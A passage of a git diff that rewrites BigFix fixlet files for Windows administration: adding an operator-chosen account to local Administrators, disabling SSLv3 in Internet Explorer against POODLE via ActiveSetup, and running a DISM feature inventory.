+waithidden cmd /c RemoveKB3004394.cmd
+action requires restart "RemoveKB3004394"
+
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Custom Task - Add account to local administrators (3656).bes b/Sites/Windows Management/Fixlets/Fixlets/Custom Task - Add account to local administrators (3656).bes
index 2ac6cebc8..b4bef26c5 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Custom Task - Add account to local administrators (3656).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Custom Task - Add account to local administrators (3656).bes	
@@ -1,42 +1,42 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Custom Task - Add account to local administrators
-  ID       : 3656
-  Author   : sirvin
-  Domain   : BESC
-  Imported : 2013-11-19T11:57:39
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Custom Task - Add account to local administrators</Title>
-    <Description><![CDATA[<P><STRONG><FONT size=4>Add Account to Local Admin</FONT></STRONG></P>
-<P>This action will prompt you for the domain and username you would like to add to the local administrators group. This prompt occurs before you select the computers you will target with the action.</P>
-<P>Please enter this in the following&nbsp;format without quotes: <FONT color=#800040><STRONG>DOMAIN\admin_username</STRONG></FONT></P>
-<P><FONT color=#800040><FONT color=#000000>Example: </FONT></FONT><FONT color=#800040><STRONG>TESTDOMAIN\admin_abc123</STRONG></FONT></P>
-<P><STRONG>Note: Check your spelling!&nbsp; Take care to apply to the computer you mean to!</STRONG></P>
-<P>This task should report completed once the username can be found in&nbsp;the administrators group.</P>]]></Description>
-    <Relevance>(name of it = &quot;WinXP&quot; OR name of it = &quot;WinXP-2003&quot; OR (name of it = &quot;Win2003&quot; AND NOT x64 of it) OR (name of it = &quot;Win2003&quot; AND x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND NOT x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND x64 of it) OR (name of it = &quot;Win7&quot; AND NOT x64 of it) OR (name of it = &quot;Win7&quot; AND x64 of it) OR name of it = &quot;Win2008R2&quot; OR name of it = &quot;WinXPe&quot; OR name of it = &quot;Win8&quot; OR (name of it = &quot;Win8&quot; AND x64 of it)) of operating system AND TRUE</Relevance>
-    <Source>Internal</Source>
-    <SourceID>swi101</SourceID>
-    <SourceReleaseDate>2013-09-06</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 11 Sep 2013 13:02:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;DomainAndUsername&quot; with description &quot;Please specify the DOMAIN\admin_username to add to Administrators&quot;
-
-waithidden &quot;C:\Windows\System32\net.exe&quot; localgroup administrators {parameter &quot;DomainAndUsername&quot; of action} /add</ActionScript>
-      <SuccessCriteria Option="CustomRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Custom Task - Add account to local administrators
+  ID       : 3656
+  Author   : sirvin
+  Domain   : BESC
+  Imported : 2013-11-19T11:57:39
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Custom Task - Add account to local administrators</Title>
+    <Description><![CDATA[<P><STRONG><FONT size=4>Add Account to Local Admin</FONT></STRONG></P>
+<P>This action will prompt you for the domain and username you would like to add to the local administrators group. This prompt occurs before you select the computers you will target with the action.</P>
+<P>Please enter this in the following&nbsp;format without quotes: <FONT color=#800040><STRONG>DOMAIN\admin_username</STRONG></FONT></P>
+<P><FONT color=#800040><FONT color=#000000>Example: </FONT></FONT><FONT color=#800040><STRONG>TESTDOMAIN\admin_abc123</STRONG></FONT></P>
+<P><STRONG>Note: Check your spelling!&nbsp; Take care to apply to the computer you mean to!</STRONG></P>
+<P>This task should report completed once the username can be found in&nbsp;the administrators group.</P>]]></Description>
+    <Relevance>(name of it = &quot;WinXP&quot; OR name of it = &quot;WinXP-2003&quot; OR (name of it = &quot;Win2003&quot; AND NOT x64 of it) OR (name of it = &quot;Win2003&quot; AND x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND NOT x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND x64 of it) OR (name of it = &quot;Win7&quot; AND NOT x64 of it) OR (name of it = &quot;Win7&quot; AND x64 of it) OR name of it = &quot;Win2008R2&quot; OR name of it = &quot;WinXPe&quot; OR name of it = &quot;Win8&quot; OR (name of it = &quot;Win8&quot; AND x64 of it)) of operating system AND TRUE</Relevance>
+    <Source>Internal</Source>
+    <SourceID>swi101</SourceID>
+    <SourceReleaseDate>2013-09-06</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 11 Sep 2013 13:02:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;DomainAndUsername&quot; with description &quot;Please specify the DOMAIN\admin_username to add to Administrators&quot;
+
+waithidden &quot;C:\Windows\System32\net.exe&quot; localgroup administrators {parameter &quot;DomainAndUsername&quot; of action} /add</ActionScript>
+      <SuccessCriteria Option="CustomRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/CustomPatch - KB3009008 - Disable SSLv3 in Per-User Internet Explorer settings using ActiveSetup (POODLE) (3914).bes b/Sites/Windows Management/Fixlets/Fixlets/CustomPatch - KB3009008 - Disable SSLv3 in Per-User Internet Explorer settings using ActiveSetup (POODLE) (3914).bes
index 8e2cc54fc..484f75df0 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/CustomPatch - KB3009008 - Disable SSLv3 in Per-User Internet Explorer settings using ActiveSetup (POODLE) (3914).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/CustomPatch - KB3009008 - Disable SSLv3 in Per-User Internet Explorer settings using ActiveSetup (POODLE) (3914).bes	
@@ -1,73 +1,73 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : CustomPatch - KB3009008 - Disable SSLv3 in Per-User Internet Explorer settings using ActiveSetup (POODLE)
-  ID       : 3914
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2014-11-03T12:12:11
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>CustomPatch - KB3009008 - Disable SSLv3 in Per-User Internet Explorer settings using ActiveSetup (POODLE)</Title>
-    <Description><![CDATA[<P>See <A href="https://support.microsoft.com/kb/3009008">https://support.microsoft.com/kb/3009008</A></P>
-<P>This Fixlet configures ActiveSetup to disable SSLv3 in Internet Explorer, to mitigate the "POODLE" vulnerability.&nbsp; As an ActiveSetup component, this runs one time for each user at their next logon time.&nbsp; </P>
-<P>The ActiveSetup script&nbsp;edits&nbsp;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\SecureProtocols.</P>]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(language of version block of file &quot;kernel32.dll&quot; of system folder contains &quot;English&quot;) OR (exists key &quot;HKLM\System\CurrentControlSet\Control\Nls\MUILanguages&quot; whose (exists value of it) of registry)</Relevance>
-    <Relevance>not ia64 of operating system</Relevance>
-    <Relevance>(name of it = &quot;Win2003&quot; OR name of it = &quot;WinVista&quot; OR name of it = &quot;Win2008&quot; OR name of it = &quot;Win7&quot; OR name of it = &quot;Win2008R2&quot; OR name of it = &quot;Win8&quot; OR name of it = &quot;Win2012&quot; OR name of it = &quot;Win8.1&quot; OR name of it = &quot;Win2012R2&quot;) of operating system</Relevance>
-    <Relevance><![CDATA[/* Check that the Registry is configured to execute this ActiveSetup component */ (not exists key "KB3009008_POODLE" whose (exists value "IsInstalled" whose (it=1) of it) of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components" of native registry) OR /* Check that the files required for this ActiveSetup component are present; item 0 below is a semicolon-delimited set of file pathnames */ ( exists (("\admtools\ActiveSetup\KB3009008_POODLE\ActiveSetup.cmd"),root folder of drive of system folder) whose (not exists file (pathname of item 1 of it as string & item 0 of it)))]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2014-11-03</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 03 Nov 2014 19:10:35 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection false
-
-// Setup the files for ActiveSetup script operation
-dos mkdir "{root folder of drive of system folder}\admtools\ActiveSetup\KB3009008_POODLE"
-delete __appendfile
-appendfile @reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v SecureProtocols /t REG_DWORD /d 0x80 /F
-delete "{root folder of drive of system folder}\admtools\ActiveSetup\KB3009008_POODLE\ActiveSetup.cmd"
-copy __appendfile "{root folder of drive of system folder}\admtools\ActiveSetup\KB3009008_POODLE\ActiveSetup.cmd"
-
-
-// Setup the Registry to run this ActiveSetup batch file on next logon (for each user)
-delete __createfile
-createfile until <EOF>
-REM Update this block as needed
-set KEYNAME=KB3009008_POODLE
-set TITLE=Installing KB3009008_POODLE
-set VERSION=1,0,0,0
-set VALUE=%COMSPEC% /c "{root folder of drive of system folder}\admtools\ActiveSetup\KB3009008_POODLE\ActiveSetup.cmd"
-REM end of per-package settings
-
-
-set ACTIVESETUP=HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components
-
-REG ADD "%ACTIVESETUP%\%KEYNAME%" /f
-REG ADD "%ACTIVESETUP%\%KEYNAME%" /ve /t REG_SZ /d "%TITLE%" /f
-REG ADD "%ACTIVESETUP%\%KEYNAME%" /v IsInstalled /t REG_DWORD /d 1 /f
-REG ADD "%ACTIVESETUP%\%KEYNAME%" /v Version /t REG_SZ /d "%VERSION%" /f
-REG ADD "%ACTIVESETUP%\%KEYNAME%" /v StubPath /t REG_EXPAND_SZ /d "%VALUE%" /f
-<EOF>
-
-delete "ActiveSetup-Registry.cmd"
-move __createfile "ActiveSetup-Registry.cmd"
-waithidden cmd /c ActiveSetup-Registry.cmd
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : CustomPatch - KB3009008 - Disable SSLv3 in Per-User Internet Explorer settings using ActiveSetup (POODLE)
+  ID       : 3914
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2014-11-03T12:12:11
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>CustomPatch - KB3009008 - Disable SSLv3 in Per-User Internet Explorer settings using ActiveSetup (POODLE)</Title>
+    <Description><![CDATA[<P>See <A href="https://support.microsoft.com/kb/3009008">https://support.microsoft.com/kb/3009008</A></P>
+<P>This Fixlet configures ActiveSetup to disable SSLv3 in Internet Explorer, to mitigate the "POODLE" vulnerability.&nbsp; As an ActiveSetup component, this runs one time for each user at their next logon time.&nbsp; </P>
+<P>The ActiveSetup script&nbsp;edits&nbsp;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\SecureProtocols.</P>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(language of version block of file &quot;kernel32.dll&quot; of system folder contains &quot;English&quot;) OR (exists key &quot;HKLM\System\CurrentControlSet\Control\Nls\MUILanguages&quot; whose (exists value of it) of registry)</Relevance>
+    <Relevance>not ia64 of operating system</Relevance>
+    <Relevance>(name of it = &quot;Win2003&quot; OR name of it = &quot;WinVista&quot; OR name of it = &quot;Win2008&quot; OR name of it = &quot;Win7&quot; OR name of it = &quot;Win2008R2&quot; OR name of it = &quot;Win8&quot; OR name of it = &quot;Win2012&quot; OR name of it = &quot;Win8.1&quot; OR name of it = &quot;Win2012R2&quot;) of operating system</Relevance>
+    <Relevance><![CDATA[/* Check that the Registry is configured to execute this ActiveSetup component */ (not exists key "KB3009008_POODLE" whose (exists value "IsInstalled" whose (it=1) of it) of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components" of native registry) OR /* Check that the files required for this ActiveSetup component are present; item 0 below is a semicolon-delimited set of file pathnames */ ( exists (("\admtools\ActiveSetup\KB3009008_POODLE\ActiveSetup.cmd"),root folder of drive of system folder) whose (not exists file (pathname of item 1 of it as string & item 0 of it)))]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2014-11-03</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 03 Nov 2014 19:10:35 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection false
+
+// Setup the files for ActiveSetup script operation
+dos mkdir "{root folder of drive of system folder}\admtools\ActiveSetup\KB3009008_POODLE"
+delete __appendfile
+appendfile @reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v SecureProtocols /t REG_DWORD /d 0x80 /F
+delete "{root folder of drive of system folder}\admtools\ActiveSetup\KB3009008_POODLE\ActiveSetup.cmd"
+copy __appendfile "{root folder of drive of system folder}\admtools\ActiveSetup\KB3009008_POODLE\ActiveSetup.cmd"
+
+
+// Setup the Registry to run this ActiveSetup batch file on next logon (for each user)
+delete __createfile
+createfile until <EOF>
+REM Update this block as needed
+set KEYNAME=KB3009008_POODLE
+set TITLE=Installing KB3009008_POODLE
+set VERSION=1,0,0,0
+set VALUE=%COMSPEC% /c "{root folder of drive of system folder}\admtools\ActiveSetup\KB3009008_POODLE\ActiveSetup.cmd"
+REM end of per-package settings
+
+
+set ACTIVESETUP=HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components
+
+REG ADD "%ACTIVESETUP%\%KEYNAME%" /f
+REG ADD "%ACTIVESETUP%\%KEYNAME%" /ve /t REG_SZ /d "%TITLE%" /f
+REG ADD "%ACTIVESETUP%\%KEYNAME%" /v IsInstalled /t REG_DWORD /d 1 /f
+REG ADD "%ACTIVESETUP%\%KEYNAME%" /v Version /t REG_SZ /d "%VERSION%" /f
+REG ADD "%ACTIVESETUP%\%KEYNAME%" /v StubPath /t REG_EXPAND_SZ /d "%VALUE%" /f
+<EOF>
+
+delete "ActiveSetup-Registry.cmd"
+move __createfile "ActiveSetup-Registry.cmd"
+waithidden cmd /c ActiveSetup-Registry.cmd
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/DISM Inventory (1420).bes b/Sites/Windows Management/Fixlets/Fixlets/DISM Inventory (1420).bes
index a24a9f1fa..f4af8b76e 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/DISM Inventory (1420).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/DISM Inventory (1420).bes	
@@ -1,146 +1,146 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : DISM Inventory
-  ID       : 1420
-  Author   : danielheth
-  Domain   : SYST
-  Imported : 2013-04-01T16:10:22
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>DISM Inventory</Title>
-    <Description><![CDATA[<P>Calls the DISM utility present on Windows computers.</P>
-<P>This will generate a DISM.txt file in the client path.&nbsp; This file will contain the Enabled/Disabled state of all the available features.</P>
-<P>This will also enable many of the feature on/off tasks that are included in this custom site.</P>
-<P>This task also generates a diffDISM.txt file in the client path.&nbsp; This file lists a difference between the features available and the "missing" fixlets in the site.&nbsp;&nbsp; IE:&nbsp; We can't cover every single feature the instant it comes out.&nbsp; This results file is pulled into an analysis so new fixlets can be created (manually) for features we don't already have fixlets for.</P>
-<P><B>Source:</B> <A href="http://bigfix.me/features/">http://bigfix.me/features/</A></P>]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>exists file &quot;dism.exe&quot; of system folder</Relevance>
-    <Category>Common Tasks</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-10-02</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>bigfixme-added-time</Name>
-      <Value>Wed, 17 Oct 2012 09:31:55 GMT</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-modification-time</Name>
-      <Value>Wed, 26 Dec 2012 14:41:12 GMT</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-keywords</Name>
-      <Value>DISM features fixlets Inventory Calls</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 01 Apr 2013 21:01:53 +0000</Value>
-    </MIMEField>
-    <Domain>SYST</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to run a DISM inventory.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-//FIRST RUN AN INVENTORY AND OUTPUT TO A TEXT FILE WHICH FIXLETS TRIGGER OFF FROM.
-delete __appendfile
-if {version of client < "9.0"}
-	appendfile "{pathname of system folder}\dism.exe" /online /get-features /format:table > "{pathname of parent folder of client}\DISM.txt"
-else
-	appendfile "{pathname of native system folder}\dism.exe" /online /get-features /format:table > "{pathname of parent folder of client}\DISM.txt"
-endif
-delete __Download\dism.bat
-move __appendfile __Download\dism.bat
-action uses wow64 redirection {not x64 of operating system}
-waithidden __Download\dism.bat
-action uses wow64 redirection {x64 of operating system}
-//NOW LOOP THROUGH THE OUTPUT COMPARING TO EXISTING FIXLETS.  OUTPUT A LIST OF FEATURES WE DONT HAVE FIXLETS FOR WHICH AN ANALYSIS WILL PULL IN.
-delete __appendfile
-appendfile Set objFSO = CreateObject("Scripting.FileSystemObject")
-appendfile subFolderName = Replace("CustomSite_{name of current site}"," ","_")
-appendfile objStartFolder = "{pathname of parent folder of client folder of current site}\" & subFolderName & "\"
-appendfile Set objFolder = objFSO.GetFolder(objStartFolder)
-appendfile Set colFiles = objFolder.Files
-appendfile Set dismFile = objFSO.OpenTextFile("{pathname of parent folder of client}\DISM.txt", 1)
-appendfile Set objResults = objFSO.CreateTextFile("{pathname of parent folder of client}\diffDISM.txt", true)
-appendfile headerLine1 = false
-appendfile headerLine2 = false
-appendfile Do Until dismFile.AtEndOfStream
-appendfile 	strAvailableFeature = dismFile.ReadLine
-appendfile 	if NOT(headerLine1) AND NOT(headerLine2) then
-appendfile 		if (InStr(strAvailableFeature, "----------")) then
-appendfile 			headerLine1 = true
-appendfile 		end if
-appendfile 	elseif (headerLine1) AND NOT(headerLine2) then
-appendfile 		if (InStr(strAvailableFeature, "----------")) then
-appendfile 			headerLine2 = true
-appendfile 		end if
-appendfile 	else
-appendfile 		if (InStr(strAvailableFeature, "|")) then
-appendfile 			s = Split(strAvailableFeature)
-appendfile 			strFeatureName = Trim(s(0))
-appendfile 			foundIt = false
-appendfile 			For Each objFile in colFiles
-appendfile 			if UCase(objFSO.GetExtensionName(objFile.name)) = "FXF" then
-appendfile 				Set fixletFile = objFSO.OpenTextFile(objStartFolder & objFile.Name, 1)
-appendfile 				Set objRegEx = CreateObject("VBScript.RegExp")
-appendfile 				objRegEx.Pattern = strFeatureName
-appendfile 				Do Until fixletFile.AtEndOfStream
-appendfile 					strSearchString = fixletFile.ReadLine
-appendfile					Set colMatches = objRegEx.Execute(strSearchString)
-appendfile 					If colMatches.Count > 0 Then
-appendfile 						For Each strMatch in colMatches
-appendfile 							FeatureString = Replace(strSearchString,objRegEx.Pattern,"")
-appendfile 							foundIt = true
-appendfile 							exit do
-appendfile 						Next
-appendfile 					End If
-appendfile 				Loop
-appendfile 				fixletFile.Close
-appendfile 			end if
-appendfile 			Next
-appendfile 			if NOT (foundIt) then
-appendfile 				objResults.WriteLine strFeatureName
-appendfile 			end if
-appendfile 		end if
-appendfile 	end if
-appendfile Loop
-appendfile dismFile.Close
-delete diffDISM.vbs
-move __appendfile diffDISM.vbs
-waithidden cmd /c cscript diffDISM.vbs
-]]></ActionScript>
-      <SuccessCriteria Option="CustomRelevance">not exists file &quot;DISM.txt&quot; of parent folder of client</SuccessCriteria>
-    </DefaultAction>
-    <Action ID="Action211">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to learn more about the DISM tool.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://technet.microsoft.com/en-us/library/dd744566(v=ws.10).aspx</ActionScript>
-    </Action>
-    <Action ID="Action212">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to learn more and download the latest versions of Feature Installer tasks.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://bigfix.me/winfeatures/</ActionScript>
-    </Action>
-    <Action ID="Action1666">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to review this task in the bigfix.me Content Database.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://bigfix.me/cdb/fixlet/68</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : DISM Inventory
+  ID       : 1420
+  Author   : danielheth
+  Domain   : SYST
+  Imported : 2013-04-01T16:10:22
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>DISM Inventory</Title>
+    <Description><![CDATA[<P>Calls the DISM utility present on Windows computers.</P>
+<P>This will generate a DISM.txt file in the client path.&nbsp; This file will contain the Enabled/Disabled state of all the available features.</P>
+<P>This will also enable many of the feature on/off tasks that are included in this custom site.</P>
+<P>This task also generates a diffDISM.txt file in the client path.&nbsp; This file lists a difference between the features available and the "missing" fixlets in the site.&nbsp;&nbsp; IE:&nbsp; We can't cover every single feature the instant it comes out.&nbsp; This results file is pulled into an analysis so new fixlets can be created (manually) for features we don't already have fixlets for.</P>
+<P><B>Source:</B> <A href="http://bigfix.me/features/">http://bigfix.me/features/</A></P>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>exists file &quot;dism.exe&quot; of system folder</Relevance>
+    <Category>Common Tasks</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-02</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>bigfixme-added-time</Name>
+      <Value>Wed, 17 Oct 2012 09:31:55 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-modification-time</Name>
+      <Value>Wed, 26 Dec 2012 14:41:12 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-keywords</Name>
+      <Value>DISM features fixlets Inventory Calls</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 01 Apr 2013 21:01:53 +0000</Value>
+    </MIMEField>
+    <Domain>SYST</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to run a DISM inventory.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+//FIRST RUN AN INVENTORY AND OUTPUT TO A TEXT FILE WHICH FIXLETS TRIGGER OFF FROM.
+delete __appendfile
+if {version of client < "9.0"}
+	appendfile "{pathname of system folder}\dism.exe" /online /get-features /format:table > "{pathname of parent folder of client}\DISM.txt"
+else
+	appendfile "{pathname of native system folder}\dism.exe" /online /get-features /format:table > "{pathname of parent folder of client}\DISM.txt"
+endif
+delete __Download\dism.bat
+move __appendfile __Download\dism.bat
+action uses wow64 redirection {not x64 of operating system}
+waithidden __Download\dism.bat
+action uses wow64 redirection {x64 of operating system}
+//NOW LOOP THROUGH THE OUTPUT COMPARING TO EXISTING FIXLETS.  OUTPUT A LIST OF FEATURES WE DONT HAVE FIXLETS FOR WHICH AN ANALYSIS WILL PULL IN.
+delete __appendfile
+appendfile Set objFSO = CreateObject("Scripting.FileSystemObject")
+appendfile subFolderName = Replace("CustomSite_{name of current site}"," ","_")
+appendfile objStartFolder = "{pathname of parent folder of client folder of current site}\" & subFolderName & "\"
+appendfile Set objFolder = objFSO.GetFolder(objStartFolder)
+appendfile Set colFiles = objFolder.Files
+appendfile Set dismFile = objFSO.OpenTextFile("{pathname of parent folder of client}\DISM.txt", 1)
+appendfile Set objResults = objFSO.CreateTextFile("{pathname of parent folder of client}\diffDISM.txt", true)
+appendfile headerLine1 = false
+appendfile headerLine2 = false
+appendfile Do Until dismFile.AtEndOfStream
+appendfile 	strAvailableFeature = dismFile.ReadLine
+appendfile 	if NOT(headerLine1) AND NOT(headerLine2) then
+appendfile 		if (InStr(strAvailableFeature, "----------")) then
+appendfile 			headerLine1 = true
+appendfile 		end if
+appendfile 	elseif (headerLine1) AND NOT(headerLine2) then
+appendfile 		if (InStr(strAvailableFeature, "----------")) then
+appendfile 			headerLine2 = true
+appendfile 		end if
+appendfile 	else
+appendfile 		if (InStr(strAvailableFeature, "|")) then
+appendfile 			s = Split(strAvailableFeature)
+appendfile 			strFeatureName = Trim(s(0))
+appendfile 			foundIt = false
+appendfile 			For Each objFile in colFiles
+appendfile 			if UCase(objFSO.GetExtensionName(objFile.name)) = "FXF" then
+appendfile 				Set fixletFile = objFSO.OpenTextFile(objStartFolder & objFile.Name, 1)
+appendfile 				Set objRegEx = CreateObject("VBScript.RegExp")
+appendfile 				objRegEx.Pattern = strFeatureName
+appendfile 				Do Until fixletFile.AtEndOfStream
+appendfile 					strSearchString = fixletFile.ReadLine
+appendfile					Set colMatches = objRegEx.Execute(strSearchString)
+appendfile 					If colMatches.Count > 0 Then
+appendfile 						For Each strMatch in colMatches
+appendfile 							FeatureString = Replace(strSearchString,objRegEx.Pattern,"")
+appendfile 							foundIt = true
+appendfile 							exit do
+appendfile 						Next
+appendfile 					End If
+appendfile 				Loop
+appendfile 				fixletFile.Close
+appendfile 			end if
+appendfile 			Next
+appendfile 			if NOT (foundIt) then
+appendfile 				objResults.WriteLine strFeatureName
+appendfile 			end if
+appendfile 		end if
+appendfile 	end if
+appendfile Loop
+appendfile dismFile.Close
+delete diffDISM.vbs
+move __appendfile diffDISM.vbs
+waithidden cmd /c cscript diffDISM.vbs
+]]></ActionScript>
+      <SuccessCriteria Option="CustomRelevance">not exists file &quot;DISM.txt&quot; of parent folder of client</SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action211">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more about the DISM tool.</PostLink>
+      </Description>
